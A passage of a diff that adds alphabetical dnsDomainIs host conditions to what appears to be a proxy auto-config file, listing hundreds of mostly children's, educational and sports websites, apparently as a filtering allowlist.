+ || dnsDomainIs(host, "www.alyeska-pipe.com")
+ || dnsDomainIs(host, "www.am-wood.com")
+ || dnsDomainIs(host, "www.amazingadventure.com")
+ || dnsDomainIs(host, "www.amazon.com")
+ || dnsDomainIs(host, "www.americancheerleader.com")
+ || dnsDomainIs(host, "www.americancowboy.com")
+ || dnsDomainIs(host, "www.americangirl.com")
+ || dnsDomainIs(host, "www.americanparknetwork.com")
+ || dnsDomainIs(host, "www.americansouthwest.net")
+ || dnsDomainIs(host, "www.americanwest.com")
+ || dnsDomainIs(host, "www.ameritech.net")
+ || dnsDomainIs(host, "www.amtexpo.com")
+ || dnsDomainIs(host, "www.anbg.gov.au")
+ || dnsDomainIs(host, "www.anc.org.za")
+ || dnsDomainIs(host, "www.ancientegypt.co.uk")
+ || dnsDomainIs(host, "www.angelfire.com")
+ || dnsDomainIs(host, "www.angelsbaseball.com")
+ || dnsDomainIs(host, "www.anholt.co.uk")
+ || dnsDomainIs(host, "www.animabets.com")
+ || dnsDomainIs(host, "www.animalnetwork.com")
+ || dnsDomainIs(host, "www.animalpicturesarchive.com")
+ || dnsDomainIs(host, "www.anime-genesis.com")
+ || dnsDomainIs(host, "www.annefrank.com")
+ || dnsDomainIs(host, "www.annefrank.nl")
+ || dnsDomainIs(host, "www.annie75.com")
+ || dnsDomainIs(host, "www.antbee.com")
+ || dnsDomainIs(host, "www.antiquetools.com")
+ || dnsDomainIs(host, "www.antiquetoy.com")
+ || dnsDomainIs(host, "www.anzsbeg.org.au")
+ || dnsDomainIs(host, "www.aol.com")
+ || dnsDomainIs(host, "www.aone.com")
+ || dnsDomainIs(host, "www.aphids.com")
+ || dnsDomainIs(host, "www.apl.com")
+ || dnsDomainIs(host, "www.aplusmath.com")
+ || dnsDomainIs(host, "www.applebookshop.co.uk")
+ || dnsDomainIs(host, "www.appropriatesoftware.com")
+ || dnsDomainIs(host, "www.appukids.com")
+ || dnsDomainIs(host, "www.april-joy.com")
+ || dnsDomainIs(host, "www.arab.net")
+ || dnsDomainIs(host, "www.aracnet.com")
+ || dnsDomainIs(host, "www.arborday.com")
+ || dnsDomainIs(host, "www.arcadevillage.com")
+ || dnsDomainIs(host, "www.archiecomics.com")
+ || dnsDomainIs(host, "www.archives.state.al.us")
+ || dnsDomainIs(host, "www.arctic.ca")
+ || dnsDomainIs(host, "www.ardenjohnson.com")
+ || dnsDomainIs(host, "www.aristotle.net")
+ || dnsDomainIs(host, "www.arizhwys.com")
+ || dnsDomainIs(host, "www.arizonaguide.com")
+ || dnsDomainIs(host, "www.arlingtoncemetery.com")
+ || dnsDomainIs(host, "www.armory.com")
+ || dnsDomainIs(host, "www.armwrestling.com")
+ || dnsDomainIs(host, "www.arnprior.com")
+ || dnsDomainIs(host, "www.artabunga.com")
+ || dnsDomainIs(host, "www.artcarte.com")
+ || dnsDomainIs(host, "www.artchive.com")
+ || dnsDomainIs(host, "www.artcontest.com")
+ || dnsDomainIs(host, "www.artcyclopedia.com")
+ || dnsDomainIs(host, "www.artisandevelopers.com")
+ || dnsDomainIs(host, "www.artlex.com")
+ || dnsDomainIs(host, "www.artsandkids.com")
+ || dnsDomainIs(host, "www.artyastro.com")
+ || dnsDomainIs(host, "www.arwhead.com")
+ || dnsDomainIs(host, "www.asahi-net.or.jp")
+ || dnsDomainIs(host, "www.asap.unimelb.edu.au")
+ || dnsDomainIs(host, "www.ascpl.lib.oh.us")
+ || dnsDomainIs(host, "www.asia-art.net")
+ || dnsDomainIs(host, "www.asiabigtime.com")
+ || dnsDomainIs(host, "www.asianart.com")
+ || dnsDomainIs(host, "www.asiatour.com")
+ || dnsDomainIs(host, "www.asiaweek.com")
+ || dnsDomainIs(host, "www.askanexpert.com")
+ || dnsDomainIs(host, "www.askbasil.com")
+ || dnsDomainIs(host, "www.assa.org.au")
+ || dnsDomainIs(host, "www.ast.cam.ac.uk")
+ || dnsDomainIs(host, "www.astronomy.com")
+ || dnsDomainIs(host, "www.astros.com")
+ || dnsDomainIs(host, "www.atek.com")
+ || dnsDomainIs(host, "www.athlete.com")
+ || dnsDomainIs(host, "www.athropolis.com")
+ || dnsDomainIs(host, "www.atkielski.com")
+ || dnsDomainIs(host, "www.atlantabraves.com")
+ || dnsDomainIs(host, "www.atlantafalcons.com")
+ || dnsDomainIs(host, "www.atlantathrashers.com")
+ || dnsDomainIs(host, "www.atlanticus.com")
+ || dnsDomainIs(host, "www.atm.ch.cam.ac.uk")
+ || dnsDomainIs(host, "www.atom.co.jp")
+ || dnsDomainIs(host, "www.atomicarchive.com")
+ || dnsDomainIs(host, "www.att.com")
+ || dnsDomainIs(host, "www.audreywood.com")
+ || dnsDomainIs(host, "www.auntannie.com")
+ || dnsDomainIs(host, "www.auntie.com")
+ || dnsDomainIs(host, "www.avi-writer.com")
+ || dnsDomainIs(host, "www.awesomeclipartforkids.com")
+ || dnsDomainIs(host, "www.awhitehorse.com")
+ || dnsDomainIs(host, "www.axess.com")
+ || dnsDomainIs(host, "www.ayles.com")
+ || dnsDomainIs(host, "www.ayn.ca")
+ || dnsDomainIs(host, "www.azcardinals.com")
+ || dnsDomainIs(host, "www.azdiamondbacks.com")
+ || dnsDomainIs(host, "www.azsolarcenter.com")
+ || dnsDomainIs(host, "www.azstarnet.com")
+ || dnsDomainIs(host, "www.aztecafoods.com")
+ || dnsDomainIs(host, "www.b-witched.com")
+ || dnsDomainIs(host, "www.baberuthmuseum.com")
+ || dnsDomainIs(host, "www.backstreetboys.com")
+ || dnsDomainIs(host, "www.bagheera.com")
+ || dnsDomainIs(host, "www.bahamas.com")
+ || dnsDomainIs(host, "www.baileykids.com")
+ || dnsDomainIs(host, "www.baldeagleinfo.com")
+ || dnsDomainIs(host, "www.balloonhq.com")
+ || dnsDomainIs(host, "www.balloonzone.com")
+ || dnsDomainIs(host, "www.ballparks.com")
+ || dnsDomainIs(host, "www.balmoralsoftware.com")
+ || dnsDomainIs(host, "www.banja.com")
+ || dnsDomainIs(host, "www.banph.com")
+ || dnsDomainIs(host, "www.barbie.com")
+ || dnsDomainIs(host, "www.barkingbuddies.com")
+ || dnsDomainIs(host, "www.barnsdle.demon.co.uk")
+ || dnsDomainIs(host, "www.barrysclipart.com")
+ || dnsDomainIs(host, "www.bartleby.com")
+ || dnsDomainIs(host, "www.baseplate.com")
+ || dnsDomainIs(host, "www.batman-superman.com")
+ || dnsDomainIs(host, "www.batmanbeyond.com")
+ || dnsDomainIs(host, "www.bbc.co.uk")
+ || dnsDomainIs(host, "www.bbhighway.com")
+ || dnsDomainIs(host, "www.bboy.com")
+ || dnsDomainIs(host, "www.bcit.tec.nj.us")
+ || dnsDomainIs(host, "www.bconnex.net")
+ || dnsDomainIs(host, "www.bcpl.net")
+ || dnsDomainIs(host, "www.beach-net.com")
+ || dnsDomainIs(host, "www.beachboys.com")
+ || dnsDomainIs(host, "www.beakman.com")
+ || dnsDomainIs(host, "www.beano.co.uk")
+ || dnsDomainIs(host, "www.beans.demon.co.uk")
+ || dnsDomainIs(host, "www.beartime.com")
+ || dnsDomainIs(host, "www.bearyspecial.co.uk")
+ || dnsDomainIs(host, "www.bedtime.com")
+ || dnsDomainIs(host, "www.beingme.com")
+ || dnsDomainIs(host, "www.belizeexplorer.com")
+ || dnsDomainIs(host, "www.bell-labs.com")
+ || dnsDomainIs(host, "www.bemorecreative.com")
+ || dnsDomainIs(host, "www.bengals.com")
+ || dnsDomainIs(host, "www.benjerry.com")
+ || dnsDomainIs(host, "www.bennygoodsport.com")
+ || dnsDomainIs(host, "www.berenstainbears.com")
+ || dnsDomainIs(host, "www.beringia.com")
+ || dnsDomainIs(host, "www.beritsbest.com")
+ || dnsDomainIs(host, "www.berksweb.com")
+ || dnsDomainIs(host, "www.best.com")
+ || dnsDomainIs(host, "www.betsybyars.com")
+ || dnsDomainIs(host, "www.bfro.net")
+ || dnsDomainIs(host, "www.bgmm.com")
+ || dnsDomainIs(host, "www.bibliography.com")
+ || dnsDomainIs(host, "www.bigblue.com.au")
+ || dnsDomainIs(host, "www.bigchalk.com")
+ || dnsDomainIs(host, "www.bigidea.com")
+ || dnsDomainIs(host, "www.bigtop.com")
+ || dnsDomainIs(host, "www.bikecrawler.com")
+ || dnsDomainIs(host, "www.billboard.com")
+ || dnsDomainIs(host, "www.billybear4kids.com")
+ || dnsDomainIs(host, "www.biography.com")
+ || dnsDomainIs(host, "www.birdnature.com")
+ || dnsDomainIs(host, "www.birdsnways.com")
+ || dnsDomainIs(host, "www.birdtimes.com")
+ || dnsDomainIs(host, "www.birminghamzoo.com")
+ || dnsDomainIs(host, "www.birthdaypartyideas.com")
+ || dnsDomainIs(host, "www.bis.arachsys.com")
+ || dnsDomainIs(host, "www.bkgm.com")
+ || dnsDomainIs(host, "www.blackbaseball.com")
+ || dnsDomainIs(host, "www.blackbeardthepirate.com")
+ || dnsDomainIs(host, "www.blackbeltmag.com")
+ || dnsDomainIs(host, "www.blackfacts.com")
+ || dnsDomainIs(host, "www.blackfeetnation.com")
+ || dnsDomainIs(host, "www.blackhills-info.com")
+ || dnsDomainIs(host, "www.blackholegang.com")
+ || dnsDomainIs(host, "www.blaque.net")
+ || dnsDomainIs(host, "www.blarg.net")
+ || dnsDomainIs(host, "www.blasternaut.com")
+ || dnsDomainIs(host, "www.blizzard.com")
+ || dnsDomainIs(host, "www.blocksite.com")
+ || dnsDomainIs(host, "www.bluejackets.com")
+ || dnsDomainIs(host, "www.bluejays.ca")
+ || dnsDomainIs(host, "www.bluemountain.com")
+ || dnsDomainIs(host, "www.blupete.com")
+ || dnsDomainIs(host, "www.blyton.co.uk")
+ || dnsDomainIs(host, "www.boatnerd.com")
+ || dnsDomainIs(host, "www.boatsafe.com")
+ || dnsDomainIs(host, "www.bonus.com")
+ || dnsDomainIs(host, "www.boowakwala.com")
+ || dnsDomainIs(host, "www.bostonbruins.com")
+ || dnsDomainIs(host, "www.braceface.com")
+ || dnsDomainIs(host, "www.bracesinfo.com")
+ || dnsDomainIs(host, "www.bradkent.com")
+ || dnsDomainIs(host, "www.brainium.com")
+ || dnsDomainIs(host, "www.brainmania.com")
+ || dnsDomainIs(host, "www.brainpop.com")
+ || dnsDomainIs(host, "www.bridalcave.com")
+ || dnsDomainIs(host, "www.brightmoments.com")
+ || dnsDomainIs(host, "www.britannia.com")
+ || dnsDomainIs(host, "www.britannica.com")
+ || dnsDomainIs(host, "www.british-museum.ac.uk")
+ || dnsDomainIs(host, "www.brookes.ac.uk")
+ || dnsDomainIs(host, "www.brookfieldreader.com")
+ || dnsDomainIs(host, "www.btinternet.com")
+ || dnsDomainIs(host, "www.bubbledome.co.nz")
+ || dnsDomainIs(host, "www.buccaneers.com")
+ || dnsDomainIs(host, "www.buffy.com")
+ || dnsDomainIs(host, "www.bullying.co.uk")
+ || dnsDomainIs(host, "www.bumply.com")
+ || dnsDomainIs(host, "www.bungi.com")
+ || dnsDomainIs(host, "www.burlco.lib.nj.us")
+ || dnsDomainIs(host, "www.burlingamepezmuseum.com")
+ || dnsDomainIs(host, "www.bus.ualberta.ca")
+ || dnsDomainIs(host, "www.busprod.com")
+ || dnsDomainIs(host, "www.butlerart.com")
+ || dnsDomainIs(host, "www.butterflies.com")
+ || dnsDomainIs(host, "www.butterflyfarm.co.cr")
+ || dnsDomainIs(host, "www.bway.net")
+ || dnsDomainIs(host, "www.bydonovan.com")
+ || dnsDomainIs(host, "www.ca-mall.com")
+ || dnsDomainIs(host, "www.cabinessence.com")
+ || dnsDomainIs(host, "www.cablecarmuseum.com")
+ || dnsDomainIs(host, "www.cadbury.co.uk")
+ || dnsDomainIs(host, "www.calendarzone.com")
+ || dnsDomainIs(host, "www.calgaryflames.com")
+ || dnsDomainIs(host, "www.californiamissions.com")
+ || dnsDomainIs(host, "www.camalott.com")
+ || dnsDomainIs(host, "www.camelotintl.com")
+ || dnsDomainIs(host, "www.campbellsoup.com")
+ || dnsDomainIs(host, "www.camvista.com")
+ || dnsDomainIs(host, "www.canadiens.com")
+ || dnsDomainIs(host, "www.canals.state.ny.us")
+ || dnsDomainIs(host, "www.candlelightstories.com")
+ || dnsDomainIs(host, "www.candles-museum.com")
+ || dnsDomainIs(host, "www.candystand.com")
+ || dnsDomainIs(host, "www.caneshockey.com")
+ || dnsDomainIs(host, "www.canismajor.com")
+ || dnsDomainIs(host, "www.canucks.com")
+ || dnsDomainIs(host, "www.capecod.net")
+ || dnsDomainIs(host, "www.capital.net")
+ || dnsDomainIs(host, "www.capstonestudio.com")
+ || dnsDomainIs(host, "www.cardblvd.com")
+ || dnsDomainIs(host, "www.caro.net")
+ || dnsDomainIs(host, "www.carolhurst.com")
+ || dnsDomainIs(host, "www.carr.lib.md.us")
+ || dnsDomainIs(host, "www.cartooncorner.com")
+ || dnsDomainIs(host, "www.cartooncritters.com")
+ || dnsDomainIs(host, "www.cartoonnetwork.com")
+ || dnsDomainIs(host, "www.carvingpatterns.com")
+ || dnsDomainIs(host, "www.cashuniversity.com")
+ || dnsDomainIs(host, "www.castles-of-britain.com")
+ || dnsDomainIs(host, "www.castlewales.com")
+ || dnsDomainIs(host, "www.catholic-forum.com")
+ || dnsDomainIs(host, "www.catholic.net")
+ || dnsDomainIs(host, "www.cattle.guelph.on.ca")
+ || dnsDomainIs(host, "www.cavedive.com")
+ || dnsDomainIs(host, "www.caveofthewinds.com")
+ || dnsDomainIs(host, "www.cbc4kids.ca")
+ || dnsDomainIs(host, "www.ccer.ggl.ruu.nl")
+ || dnsDomainIs(host, "www.ccnet.com")
+ || dnsDomainIs(host, "www.celineonline.com")
+ || dnsDomainIs(host, "www.cellsalive.com")
+ || dnsDomainIs(host, "www.centuryinshoes.com")
+ || dnsDomainIs(host, "www.cfl.ca")
+ || dnsDomainIs(host, "www.channel4.com")
+ || dnsDomainIs(host, "www.channel8.net")
+ || dnsDomainIs(host, "www.chanukah99.com")
+ || dnsDomainIs(host, "www.charged.com")
+ || dnsDomainIs(host, "www.chargers.com")
+ || dnsDomainIs(host, "www.charlotte.com")
+ || dnsDomainIs(host, "www.chaseday.com")
+ || dnsDomainIs(host, "www.chateauversailles.fr")
+ || dnsDomainIs(host, "www.cheatcc.com")
+ || dnsDomainIs(host, "www.cheerleading.net")
+ || dnsDomainIs(host, "www.cheese.com")
+ || dnsDomainIs(host, "www.chem4kids.com")
+ || dnsDomainIs(host, "www.chemicool.com")
+ || dnsDomainIs(host, "www.cherbearsden.com")
+ || dnsDomainIs(host, "www.chesskids.com")
+ || dnsDomainIs(host, "www.chessvariants.com")
+ || dnsDomainIs(host, "www.cheungswingchun.com")
+ || dnsDomainIs(host, "www.chevroncars.com")
+ || dnsDomainIs(host, "www.chibi.simplenet.com")
+ || dnsDomainIs(host, "www.chicagobears.com")
+ || dnsDomainIs(host, "www.chicagoblackhawks.com")
+ || dnsDomainIs(host, "www.chickasaw.net")
+ || dnsDomainIs(host, "www.childrensmusic.co.uk")
+ || dnsDomainIs(host, "www.childrenssoftware.com")
+ || dnsDomainIs(host, "www.childrenstory.com")
+ || dnsDomainIs(host, "www.childrenwithdiabetes.com")
+ || dnsDomainIs(host, "www.chinapage.com")
+ || dnsDomainIs(host, "www.chinatoday.com")
+ || dnsDomainIs(host, "www.chinavista.com")
+ || dnsDomainIs(host, "www.chinnet.net")
+ || dnsDomainIs(host, "www.chiquita.com")
+ || dnsDomainIs(host, "www.chisox.com")
+ || dnsDomainIs(host, "www.chivalry.com")
+ || dnsDomainIs(host, "www.christiananswers.net")
+ || dnsDomainIs(host, "www.christianity.com")
+ || dnsDomainIs(host, "www.christmas.com")
+ || dnsDomainIs(host, "www.christmas98.com")
+ || dnsDomainIs(host, "www.chron.com")
+ || dnsDomainIs(host, "www.chronique.com")
+ || dnsDomainIs(host, "www.chuckecheese.com")
+ || dnsDomainIs(host, "www.chucklebait.com")
+ || dnsDomainIs(host, "www.chunkymonkey.com")
+ || dnsDomainIs(host, "www.ci.chi.il.us")
+ || dnsDomainIs(host, "www.ci.nyc.ny.us")
+ || dnsDomainIs(host, "www.ci.phoenix.az.us")
+ || dnsDomainIs(host, "www.ci.san-diego.ca.us")
+ || dnsDomainIs(host, "www.cibc.com")
+ || dnsDomainIs(host, "www.ciderpresspottery.com")
+ || dnsDomainIs(host, "www.cincinnatireds.com")
+ || dnsDomainIs(host, "www.circusparade.com")
+ || dnsDomainIs(host, "www.circusweb.com")
+ || dnsDomainIs(host, "www.cirquedusoleil.com")
+ || dnsDomainIs(host, "www.cit.state.vt.us")
+ || dnsDomainIs(host, "www.citycastles.com")
+ || dnsDomainIs(host, "www.cityu.edu.hk")
+ || dnsDomainIs(host, "www.civicmind.com")
+ || dnsDomainIs(host, "www.civil-war.net")
+ || dnsDomainIs(host, "www.civilization.ca")
+ || dnsDomainIs(host, "www.cl.cam.ac.uk")
+ || dnsDomainIs(host, "www.clantongang.com")
+ || dnsDomainIs(host, "www.clark.net")
+ || dnsDomainIs(host, "www.classicgaming.com")
+ || dnsDomainIs(host, "www.claus.com")
+ || dnsDomainIs(host, "www.clayz.com")
+ || dnsDomainIs(host, "www.clearcf.uvic.ca")
+ || dnsDomainIs(host, "www.clearlight.com")
+ || dnsDomainIs(host, "www.clemusart.com")
+ || dnsDomainIs(host, "www.clevelandbrowns.com")
+ || dnsDomainIs(host, "www.clipartcastle.com")
+ || dnsDomainIs(host, "www.clubi.ie")
+ || dnsDomainIs(host, "www.cnn.com")
+ || dnsDomainIs(host, "www.co.henrico.va.us")
+ || dnsDomainIs(host, "www.coax.net")
+ || dnsDomainIs(host, "www.cocacola.com")
+ || dnsDomainIs(host, "www.cocori.com")
+ || dnsDomainIs(host, "www.codesmiths.com")
+ || dnsDomainIs(host, "www.codetalk.fed.us")
+ || dnsDomainIs(host, "www.coin-gallery.com")
+ || dnsDomainIs(host, "www.colinthompson.com")
+ || dnsDomainIs(host, "www.collectoronline.com")
+ || dnsDomainIs(host, "www.colonialhall.com")
+ || dnsDomainIs(host, "www.coloradoavalanche.com")
+ || dnsDomainIs(host, "www.coloradorockies.com")
+ || dnsDomainIs(host, "www.colormathpink.com")
+ || dnsDomainIs(host, "www.colts.com")
+ || dnsDomainIs(host, "www.comet.net")
+ || dnsDomainIs(host, "www.cometsystems.com")
+ || dnsDomainIs(host, "www.comicbookresources.com")
+ || dnsDomainIs(host, "www.comicspage.com")
+ || dnsDomainIs(host, "www.compassnet.com")
+ || dnsDomainIs(host, "www.compleatbellairs.com")
+ || dnsDomainIs(host, "www.comptons.com")
+ || dnsDomainIs(host, "www.concentric.net")
+ || dnsDomainIs(host, "www.congogorillaforest.com")
+ || dnsDomainIs(host, "www.conjuror.com")
+ || dnsDomainIs(host, "www.conk.com")
+ || dnsDomainIs(host, "www.conservation.state.mo.us")
+ || dnsDomainIs(host, "www.contracostatimes.com")
+ || dnsDomainIs(host, "www.control.chalmers.se")
+ || dnsDomainIs(host, "www.cookierecipe.com")
+ || dnsDomainIs(host, "www.cooljapanesetoys.com")
+ || dnsDomainIs(host, "www.cooper.com")
+ || dnsDomainIs(host, "www.corpcomm.net")
+ || dnsDomainIs(host, "www.corrietenboom.com")
+ || dnsDomainIs(host, "www.corynet.com")
+ || dnsDomainIs(host, "www.corypaints.com")
+ || dnsDomainIs(host, "www.cosmosmith.com")
+ || dnsDomainIs(host, "www.countdown2000.com")
+ || dnsDomainIs(host, "www.cowboy.net")
+ || dnsDomainIs(host, "www.cowboypal.com")
+ || dnsDomainIs(host, "www.cowcreek.com")
+ || dnsDomainIs(host, "www.cowgirl.net")
+ || dnsDomainIs(host, "www.cowgirls.com")
+ || dnsDomainIs(host, "www.cp.duluth.mn.us")
+ || dnsDomainIs(host, "www.cpsweb.com")
+ || dnsDomainIs(host, "www.craftideas.com")
+ || dnsDomainIs(host, "www.craniamania.com")
+ || dnsDomainIs(host, "www.crater.lake.national-park.com")
+ || dnsDomainIs(host, "www.crayoncrawler.com")
+ || dnsDomainIs(host, "www.crazybone.com")
+ || dnsDomainIs(host, "www.crazybones.com")
+ || dnsDomainIs(host, "www.crd.ge.com")
+ || dnsDomainIs(host, "www.create4kids.com")
+ || dnsDomainIs(host, "www.creativemusic.com")
+ || dnsDomainIs(host, "www.crocodilian.com")
+ || dnsDomainIs(host, "www.crop.cri.nz")
+ || dnsDomainIs(host, "www.cruzio.com")
+ || dnsDomainIs(host, "www.crwflags.com")
+ || dnsDomainIs(host, "www.cryptograph.com")
+ || dnsDomainIs(host, "www.cryst.bbk.ac.uk")
+ || dnsDomainIs(host, "www.cs.bilkent.edu.tr")
+ || dnsDomainIs(host, "www.cs.man.ac.uk")
+ || dnsDomainIs(host, "www.cs.sfu.ca")
+ || dnsDomainIs(host, "www.cs.ubc.ca")
+ || dnsDomainIs(host, "www.csd.uu.se")
+ || dnsDomainIs(host, "www.csmonitor.com")
+ || dnsDomainIs(host, "www.csse.monash.edu.au")
+ || dnsDomainIs(host, "www.cstone.net")
+ || dnsDomainIs(host, "www.csu.edu.au")
+ || dnsDomainIs(host, "www.cubs.com")
+ || dnsDomainIs(host, "www.culture.fr")
+ || dnsDomainIs(host, "www.cultures.com")
+ || dnsDomainIs(host, "www.curtis-collection.com")
+ || dnsDomainIs(host, "www.cut-the-knot.com")
+ || dnsDomainIs(host, "www.cws-scf.ec.gc.ca")
+ || dnsDomainIs(host, "www.cyber-dyne.com")
+ || dnsDomainIs(host, "www.cyberbee.com")
+ || dnsDomainIs(host, "www.cyberbee.net")
+ || dnsDomainIs(host, "www.cybercom.net")
+ || dnsDomainIs(host, "www.cybercomm.net")
+ || dnsDomainIs(host, "www.cybercomm.nl")
+ || dnsDomainIs(host, "www.cybercorp.co.nz")
+ || dnsDomainIs(host, "www.cybercs.com")
+ || dnsDomainIs(host, "www.cybergoal.com")
+ || dnsDomainIs(host, "www.cyberkids.com")
+ || dnsDomainIs(host, "www.cyberspaceag.com")
+ || dnsDomainIs(host, "www.cyberteens.com")
+ || dnsDomainIs(host, "www.cybertours.com")
+ || dnsDomainIs(host, "www.cybiko.com")
+ || dnsDomainIs(host, "www.czweb.com")
+ || dnsDomainIs(host, "www.d91.k12.id.us")
+ || dnsDomainIs(host, "www.dailygrammar.com")
+ || dnsDomainIs(host, "www.dakidz.com")
+ || dnsDomainIs(host, "www.dalejarrettonline.com")
+ || dnsDomainIs(host, "www.dallascowboys.com")
+ || dnsDomainIs(host, "www.dallasdogndisc.com")
+ || dnsDomainIs(host, "www.dallasstars.com")
+ || dnsDomainIs(host, "www.damnyankees.com")
+ || dnsDomainIs(host, "www.danceart.com")
+ || dnsDomainIs(host, "www.daniellesplace.com")
+ || dnsDomainIs(host, "www.dare-america.com")
+ || dnsDomainIs(host, "www.darkfish.com")
+ || dnsDomainIs(host, "www.darsbydesign.com")
+ || dnsDomainIs(host, "www.datadragon.com")
+ || dnsDomainIs(host, "www.davidreilly.com")
+ || dnsDomainIs(host, "www.dccomics.com")
+ || dnsDomainIs(host, "www.dcn.davis.ca.us")
+ || dnsDomainIs(host, "www.deepseaworld.com")
+ || dnsDomainIs(host, "www.delawaretribeofindians.nsn.us")
+ || dnsDomainIs(host, "www.demon.co.uk")
+ || dnsDomainIs(host, "www.denverbroncos.com")
+ || dnsDomainIs(host, "www.denverpost.com")
+ || dnsDomainIs(host, "www.dep.state.pa.us")
+ || dnsDomainIs(host, "www.desert-fairy.com")
+ || dnsDomainIs(host, "www.desert-storm.com")
+ || dnsDomainIs(host, "www.desertusa.com")
+ || dnsDomainIs(host, "www.designltd.com")
+ || dnsDomainIs(host, "www.designsbykat.com")
+ || dnsDomainIs(host, "www.detnews.com")
+ || dnsDomainIs(host, "www.detroitlions.com")
+ || dnsDomainIs(host, "www.detroitredwings.com")
+ || dnsDomainIs(host, "www.detroittigers.com")
+ || dnsDomainIs(host, "www.deutsches-museum.de")
+ || dnsDomainIs(host, "www.devilray.com")
+ || dnsDomainIs(host, "www.dhorse.com")
+ || dnsDomainIs(host, "www.diana-ross.co.uk")
+ || dnsDomainIs(host, "www.dianarossandthesupremes.net")
+ || dnsDomainIs(host, "www.diaryproject.com")
+ || dnsDomainIs(host, "www.dickbutkus.com")
+ || dnsDomainIs(host, "www.dickshovel.com")
+ || dnsDomainIs(host, "www.dictionary.com")
+ || dnsDomainIs(host, "www.didyouknow.com")
+ || dnsDomainIs(host, "www.diegorivera.com")
+ || dnsDomainIs(host, "www.digitalcentury.com")
+ || dnsDomainIs(host, "www.digitaldog.com")
+ || dnsDomainIs(host, "www.digiweb.com")
+ || dnsDomainIs(host, "www.dimdima.com")
+ || dnsDomainIs(host, "www.dinodon.com")
+ || dnsDomainIs(host, "www.dinosauria.com")
+ || dnsDomainIs(host, "www.discovereso.com")
+ || dnsDomainIs(host, "www.discovergalapagos.com")
+ || dnsDomainIs(host, "www.discovergames.com")
+ || dnsDomainIs(host, "www.discoveringarchaeology.com")
+ || dnsDomainIs(host, "www.discoveringmontana.com")
+ || dnsDomainIs(host, "www.discoverlearning.com")
+ || dnsDomainIs(host, "www.discovery.com")
+ || dnsDomainIs(host, "www.disknet.com")
+ || dnsDomainIs(host, "www.disney.go.com")
+ || dnsDomainIs(host, "www.distinguishedwomen.com")
+ || dnsDomainIs(host, "www.dkonline.com")
+ || dnsDomainIs(host, "www.dltk-kids.com")
+ || dnsDomainIs(host, "www.dmgi.com")
+ || dnsDomainIs(host, "www.dnr.state.md.us")
+ || dnsDomainIs(host, "www.dnr.state.mi.us")
+ || dnsDomainIs(host, "www.dnr.state.wi.us")
+ || dnsDomainIs(host, "www.dodgers.com")
+ || dnsDomainIs(host, "www.dodoland.com")
+ || dnsDomainIs(host, "www.dog-play.com")
+ || dnsDomainIs(host, "www.dogbreedinfo.com")
+ || dnsDomainIs(host, "www.doginfomat.com")
+ || dnsDomainIs(host, "www.dole5aday.com")
+ || dnsDomainIs(host, "www.dollart.com")
+ || dnsDomainIs(host, "www.dolliedish.com")
+ || dnsDomainIs(host, "www.dome2000.co.uk")
+ || dnsDomainIs(host, "www.domtar.com")
+ || dnsDomainIs(host, "www.donegal.k12.pa.us")
+ || dnsDomainIs(host, "www.dorneypark.com")
+ || dnsDomainIs(host, "www.dorothyhinshawpatent.com")
+ || dnsDomainIs(host, "www.dougweb.com")
+ || dnsDomainIs(host, "www.dps.state.ak.us")
+ || dnsDomainIs(host, "www.draw3d.com")
+ || dnsDomainIs(host, "www.dreamgate.com")
+ || dnsDomainIs(host, "www.dreamkitty.com")
+ || dnsDomainIs(host, "www.dreamscape.com")
+ || dnsDomainIs(host, "www.dreamtime.net.au")
+ || dnsDomainIs(host, "www.drpeppermuseum.com")
+ || dnsDomainIs(host, "www.drscience.com")
+ || dnsDomainIs(host, "www.drseward.com")
+ || dnsDomainIs(host, "www.drtoy.com")
+ || dnsDomainIs(host, "www.dse.nl")
+ || dnsDomainIs(host, "www.dtic.mil")
+ || dnsDomainIs(host, "www.duracell.com")
+ || dnsDomainIs(host, "www.dustbunny.com")
+ || dnsDomainIs(host, "www.dynanet.com")
+ || dnsDomainIs(host, "www.eagerreaders.com")
+ || dnsDomainIs(host, "www.eaglekids.com")
+ || dnsDomainIs(host, "www.earthcalendar.net")
+ || dnsDomainIs(host, "www.earthday.net")
+ || dnsDomainIs(host, "www.earthdog.com")
+ || dnsDomainIs(host, "www.earthwatch.com")
+ || dnsDomainIs(host, "www.ease.com")
+ || dnsDomainIs(host, "www.eastasia.ws")
+ || dnsDomainIs(host, "www.easytype.com")
+ || dnsDomainIs(host, "www.eblewis.com")
+ || dnsDomainIs(host, "www.ebs.hw.ac.uk")
+ || dnsDomainIs(host, "www.eclipse.net")
+ || dnsDomainIs(host, "www.eco-pros.com")
+ || dnsDomainIs(host, "www.edbydesign.com")
+ || dnsDomainIs(host, "www.eddytheeco-dog.com")
+ || dnsDomainIs(host, "www.edgate.com")
+ || dnsDomainIs(host, "www.edmontonoilers.com")
+ || dnsDomainIs(host, "www.edu-source.com")
+ || dnsDomainIs(host, "www.edu.gov.on.ca")
+ || dnsDomainIs(host, "www.edu4kids.com")
+ || dnsDomainIs(host, "www.educ.uvic.ca")
+ || dnsDomainIs(host, "www.educate.org.uk")
+ || dnsDomainIs(host, "www.education-world.com")
+ || dnsDomainIs(host, "www.edunet.com")
+ || dnsDomainIs(host, "www.eduplace.com")
+ || dnsDomainIs(host, "www.edupuppy.com")
+ || dnsDomainIs(host, "www.eduweb.com")
+ || dnsDomainIs(host, "www.ee.ryerson.ca")
+ || dnsDomainIs(host, "www.ee.surrey.ac.uk")
+ || dnsDomainIs(host, "www.eeggs.com")
+ || dnsDomainIs(host, "www.efes.com")
+ || dnsDomainIs(host, "www.egalvao.com")
+ || dnsDomainIs(host, "www.egypt.com")
+ || dnsDomainIs(host, "www.egyptology.com")
+ || dnsDomainIs(host, "www.ehobbies.com")
+ || dnsDomainIs(host, "www.ehow.com")
+ || dnsDomainIs(host, "www.eia.brad.ac.uk")
+ || dnsDomainIs(host, "www.elbalero.gob.mx")
+ || dnsDomainIs(host, "www.eliki.com")
+ || dnsDomainIs(host, "www.elnino.com")
+ || dnsDomainIs(host, "www.elok.com")
+ || dnsDomainIs(host, "www.emf.net")
+ || dnsDomainIs(host, "www.emsphone.com")
+ || dnsDomainIs(host, "www.emulateme.com")
+ || dnsDomainIs(host, "www.en.com")
+ || dnsDomainIs(host, "www.enature.com")
+ || dnsDomainIs(host, "www.enchantedlearning.com")
+ || dnsDomainIs(host, "www.encyclopedia.com")
+ || dnsDomainIs(host, "www.endex.com")
+ || dnsDomainIs(host, "www.enjoyillinois.com")
+ || dnsDomainIs(host, "www.enn.com")
+ || dnsDomainIs(host, "www.enriqueig.com")
+ || dnsDomainIs(host, "www.enteract.com")
+ || dnsDomainIs(host, "www.epals.com")
